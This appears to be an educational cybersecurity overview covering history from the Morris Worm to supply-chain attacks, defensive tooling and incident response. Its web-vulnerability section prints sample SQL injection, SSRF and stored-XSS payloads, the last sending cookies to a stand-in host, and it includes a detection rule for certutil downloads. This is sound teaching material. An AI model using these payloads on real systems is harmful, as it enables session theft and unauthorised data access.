CYBER
SECURITY.

A field that began with one student running a worm at MIT in 1988, and turned into the connective tissue of every other industry. Sixteen pages of attackers, defenders, and the tooling between them.

1988-11-02 — the Morris Worm

Robert Tappan Morris, 23, a Cornell grad student, released a self-replicating program from MIT to "gauge the size of the internet." A bug in the duplicate-detection logic caused it to fork uncontrollably. Within hours it had infected ~6,000 of the ~60,000 hosts then on the net. Morris became the first person convicted under the 1986 Computer Fraud and Abuse Act.

The aftermath: DARPA funded the first CERT/CC at Carnegie Mellon. The internet had its first vulnerability disclosure pipeline.

/* the bug, conceptually */
if (already_infected(host) && random() % 7 != 0) skip();
// Morris flipped the constant trying to defeat false-positive
// defenses. Result: 1/7 chance of reinfection on every probe.

The CIA triad & threat models

Threat actor classes

The zero-day economy

A 0-day is a vulnerability not yet known to the vendor. The market: bug bounty (Google VRP, ZDI), defensive vendors, and offensive brokers like Zerodium, who in 2026 still pays up to $2.5M for a remote zero-click iOS chain.

Notable disclosures:

• Stuxnet (2010) — four Windows zero-days plus a Siemens PLC exploit. Reportedly U.S./Israeli operation against Iranian uranium centrifuges at Natanz.
• Heartbleed (CVE-2014-0160) — OpenSSL memory disclosure. Patched in <72h, mitigation took years.
• EternalBlue (2017) — NSA SMBv1 exploit leaked by Shadow Brokers; powered WannaCry & NotPetya.
• Log4Shell (CVE-2021-44228) — JNDI injection in log4j 2.x. CVSS 10.0. The patch sprint of the year.

Web vulnerability classics

# SQL injection
SELECT * FROM users WHERE name='' OR '1'='1' --';

# XSS — stored
<script>fetch('//evil/?c='+document.cookie)</script>

# SSRF
GET /fetch?url=http://169.254.169.254/latest/meta-data/

The OWASP Top 10 (2021): broken access control, cryptographic failures, injection, insecure design, security misconfiguration, vulnerable components, identification/authentication failures, software/data integrity failures, security logging failures, server-side request forgery.

Ransomware as a service

Ransomware grew from a curiosity (PC Cyborg, 1989) into a multi-billion-dollar criminal industry with affiliate models, leak-site negotiation portals, and cryptocurrency rails. Notable hits:

Zero Trust

"Never trust, always verify" — Forrester, John Kindervag, 2010. NIST SP 800-207 (2020) codified the principles. The perimeter is gone; every request is authenticated, authorized, encrypted.

Supply-chain attacks

The new front, since the 2020 SolarWinds Orion compromise (UNC2452 / Cozy Bear) shipped a backdoored DLL to ~18,000 customers including U.S. federal agencies. Subsequent incidents — Codecov, Kaseya, 3CX, MOVEit, XZ Utils (2024) — demonstrate that you can outsource trust but not security.

"You are as secure as your weakest dependency." — folk maxim, post-Log4Shell.

Crypto primitives

Defensive stack

A modern enterprise SOC operates with: SIEM (Splunk, Sentinel, Elastic), EDR (CrowdStrike, SentinelOne, Defender), identity (Okta, Azure AD), network (firewall, IDS/IPS, NDR), DLP, SOAR for orchestration, and threat intel feeds. Detection engineers write rules in Sigma, KQL, or YARA.

// example Sigma-style rule (excerpt)
title: Suspicious LOLBin — certutil.exe download
detection:
  selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains: '-urlcache'
  condition: selection
level: high

Incident response (NIST SP 800-61)

1. Preparation — playbooks, contact lists, tabletop exercises.
2. Detection & analysis — alerts, scoping, IOCs.
3. Containment — short-term isolation; long-term patching.
4. Eradication — remove footholds, rotate secrets.
5. Recovery — restore from clean state, monitor for re-entry.
6. Lessons learned — postmortem, control updates.

WATCH_

Watch: heartbleed computerphile

Glossary

Open problems

• Memory-safe languages eating C/C++ in the kernel and browsers.
• Operationalizing the post-quantum migration without breaking the long-tail PKI.
• AI-augmented attackers vs. AI-augmented defenders — net effect unclear.
• Hardware supply-chain attestation (e.g., Caliptra, SiFive Worldguard).
• Securing the agentic AI runtime: prompt injection, tool poisoning, exfiltration.